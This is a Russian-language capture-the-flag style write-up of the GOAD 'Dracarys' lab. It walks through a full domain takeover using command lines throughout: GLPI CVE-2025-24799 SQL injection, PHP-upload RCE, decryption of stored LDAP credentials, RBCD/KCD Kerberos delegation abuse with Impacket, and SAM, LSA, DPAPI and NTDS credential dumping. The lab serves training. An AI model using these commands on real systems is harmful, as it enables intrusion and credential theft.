GOAD Dracarys write-up

Dracarys — новая лаба в GOAD, рассчитанная на профи.

Состоит из трех машин:

  • Windows Server 2025 — DC
  • Windows Server 2025 — Сервер
  • Ubuntu 24.04 — Сервер

Все они находятся в составе домена — dracarys.lab.

Поехали.

192.168.56.10 - BALERION (DС, Windows Server 2025)
192.168.56.11 - VHAGAR (Server, Windows Server 2025)
192.168.56.12 - SYRAX (Server, Ubuntu 24.04)

Начнем разведку с Linux сервера

nmap -A -sV -p- -T5 192.168.56.12

Находим следующее

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.6p1 Ubuntu
80/tcp    open  http    Apache httpd 2.4.58
443/tcp   open  http    Apache httpd 2.4.58
3306/tcp  open  mysql   MySQL 8.0.45

Я ограничусь лишь текстовой частью, без скриншотов (мне хватает их в реальной работе и на Standoff ;), кто захочет — повторит сам.

Видим, что apache не дает ничего полезного и начинаем фаззить

ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.56.12/FUZZ" -ic

Находим GLPI и сразу приступаем к поиску известных уязвимостей

glpwnme -t http://192.168.56.12/glpi/ --check-all

Попробуем проэксплуатировать CVE-2025-24799

glpwnme -t http://192.168.56.12/glpi/ -e "CVE_2025_24799" --run -O time=0.4 \
  sql="SELECT CONCAT(users_id, ':', email) FROM glpi_useremails LIMIT 1"


Находим email администратора

noreply@dracarys.lab

Сбрасываем пароль, извлекаем токен сброса и устанавливаем новый пароль

glpwnme -t http://192.168.56.12/glpi/ -e "CVE_2025_24799" --run \
  sql="SELECT password_forget_token FROM glpi_users WHERE name='glpi'"

http://192.168.56.12/glpi/front/lostpassword.php?password_forget_token=здесь_сам_токен

Теперь при помощи уязвимости PHP upload реализуем RCE

glpwnme -t http://192.168.56.12/glpi/ -u glpi -p glpi -e "PHP_UPLOAD" --run

Далее получаем ссылку на наш web shell и повышаем его до reverse shell

В конфигах GLPI находим креды к MySQL

public $dbuser = 'glpi';
public $dbpassword = 'glpi';

Подключаемся и в таблице glpi_authldaps находим интересное

host: ldaps://balerion.dracarys.lab
rootdn: CN=sunfyre,CN=Users,DC=dracarys,DC=lab
rootdn_passwd: Whqrp48IKkTk7+QAx5xywTnWYvoU/CvrcnQdpb57YkvO9QeIqUmWVazMEsGbqsCG2LabXKjX7IEzmXCR

Ключ хранится в glpicrypt.key. С помощью следующего скрипта — расшифровываем его

<?php
define('GLPI_ROOT', '/var/www/html/glpi');
define('GLPI_CONFIG_DIR', GLPI_ROOT . '/config/');
require GLPI_ROOT . '/vendor/autoload.php';
require GLPI_ROOT . '/src/GLPIKey.php';

$key = new GLPIKey();
$enc = "Whqrp48IKkTk7+QAx5xywTnWYvoU/CvrcnQdpb57YkvO9QeIqUmWVazMEsGbqsCG2LabXKjX7IEzmXCR";
echo $key->decrypt($enc) . PHP_EOL;

Получаем первые доменные креды

sunfyre:BSno5DP4tjJ4jIu8is3B

Проверяем их

nxc smb 192.168.56.10 -u sunfyre -p 'BSno5DP4tjJ4jIu8is3B'

Теперь попробуем с помощью BloodHound найти что-то интересное

bloodhound-python -c All -u sunfyre -p BSno5DP4tjJ4jIu8is3B -d dracarys.lab -dc BALERION.dracarys.lab -ns 192.168.56.10 --zip

Обращаем внимание на

sunfyre в LinuxUsers

MachineAccountQuota: 10

viserion - WriteSPN - VHAGAR$

Здесь я предлагаю самостоятельно почитать про Dollar Ticket Attack, а мы продолжим захват домена

addcomputer.py -computer-name 'root$' -dc-host balerion.dracarys.lab -domain-netbios dracarys.lab 'dracarys.lab/sunfyre:BSno5DP4tjJ4jIu8is3B'

getTGT.py -dc-ip 192.168.56.10 'dracarys.lab/root:здесь_ваш_пароль'

export KRB5CCNAME=root.ccache;ssh -o GSSAPIAuthentication=true root@syrax.dracarys.lab

Получаем root на SYRAX

Собираем все интересное

python3 keytabextract.py /etc/krb5.keytab

export KRB5CCNAME=krb5cc_viserion;nxc smb BALERION.dracarys.lab -u viserion@DRACARYS.LAB -k --use-kcache

Приступаем к Ghost SPN + RBCD Chain.

findDelegation.py 'dracarys.lab/sunfyre:BSno5DP4tjJ4jIu8is3B'

Здесь можно долго смотреть на вывод, копаться в BloodHound, пробовать S4U-атаку и пытаться эксплуатировать -force-forwardable в Impacket — скажу сразу, будем ловить ошибки. Рекомендую здесь, как и выше с Dollar Ticket Attack, остановиться и погрузиться в суть происходящего. Очень пригодится на подобных лабах.

Чтобы обойти ограничение protocol transition, строим цепочку RBCD — KCD.

KRB5CCNAME=viserion.ccache bloodyAD -u viserion -k -d dracarys.lab --host balerion.dracarys.lab --dc-ip 192.168.56.10 set object 'vhagar$' servicePrincipalName -v 'WSMAN/vhagar.dracarys.lab' -v 'TERMSRV/VHAGAR'  -v 'TERMSRV/vhagar.dracarys.lab' -v 'RestrictedKrbHost/VHAGAR' -v 'HOST/VHAGAR' -v 'RestrictedKrbHost/vhagar.dracarys.lab' -v 'HOST/vhagar.dracarys.lab' -v 'HTTP/arrax'  -v 'HTTP/arrax.dracarys.lab'

addcomputer.py -computer-name 'ARRAX$' -computer-pass 'Password1337' 'dracarys.lab/sunfyre:BSno5DP4tjJ4jIu8is3B' -dc-ip 192.168.56.10

getTGT.py -aesKey '37870be09499a141a3229a1939f81f3269e30d59ff242e9fcf04fa6aef7e4f1c'  'dracarys.lab/SYRAX$' -dc-ip 192.168.56.10

export KRB5CCNAME=SYRAX\$.ccache

rbcd.py -delegate-from 'ARRAX$' -delegate-to 'SYRAX$' -use-ldaps -k -no-pass -action write 'dracarys.lab/SYRAX$' -dc-ip 192.168.56.10

unset KRB5CCNAME
getST.py -spn 'SYRAX$' -impersonate Administrator  'dracarys.lab/ARRAX$:Password1337' -dc-ip 192.168.56.10

getTGT.py -aesKey '37870be09499a141a3229a1939f81f3269e30d59ff242e9fcf04fa6aef7e4f1c' 'dracarys.lab/SYRAX$' -dc-ip 192.168.56.10

export KRB5CCNAME=SYRAX\$.ccache
getST.py -spn 'HTTP/arrax.dracarys.lab' -impersonate Administrator -k -no-pass -additional-ticket 'Administrator@SYRAX$@DRACARYS.LAB.ccache'  'dracarys.lab/SYRAX$' -dc-ip 192.168.56.10

tgssub.py -in 'Administrator@HTTP_arrax.dracarys.lab@DRACARYS.LAB.ccache' -out Administrator_winrm.ccache -altservice 'HTTP/vhagar.dracarys.lab'

export KRB5CCNAME=Administrator_winrm.ccache
evil-winrm -i vhagar.dracarys.lab -r dracarys.lab

Поздравляю с локальным админом на VHAGAR

Пора забрать Domain Admin

Добавляем своего локального админа и дампим креды

nxc smb 192.168.56.11 -u m0nr0e21 -p Password1337 --local-auth --sam --lsa --dpapi

В скрипте по пути

*Evil-WinRM* PS C:\> type "C:/bot_ssh.ps1"

Находим креды от viserion

$User = "viserion"
$Password = "aLHtz1WvIVmeV4Zh4CDE"

Замечаем, что запущен KeePass, а пароль от хранилища виден в командной строке

*Evil-WinRM* PS C:\> Get-WmiObject Win32_Process -Filter "ProcessId=здесь_ID_процесса" | Select-Object CommandLine

"C:\WINDOWS\system32\cmd.exe" /c "echo lj-endlmkfQSLDKPDFNZLEK | "C:\Program Files\KeePass Password Safe 2\KeePass.exe" C:\vault.kdbx -pw-stdin"

Скачиваем сам vault, открываем и забираем доменного админа

Проверяем учетку

nxc smb 192.168.56.10 -u drogon -p 'sUIjHxs1i0yxZsGBreh0'

Завершаем лабу

nxc smb 192.168.56.10 -u drogon -p sUIjHxs1i0yxZsGBreh0 --ntds

Домен скомпрометирован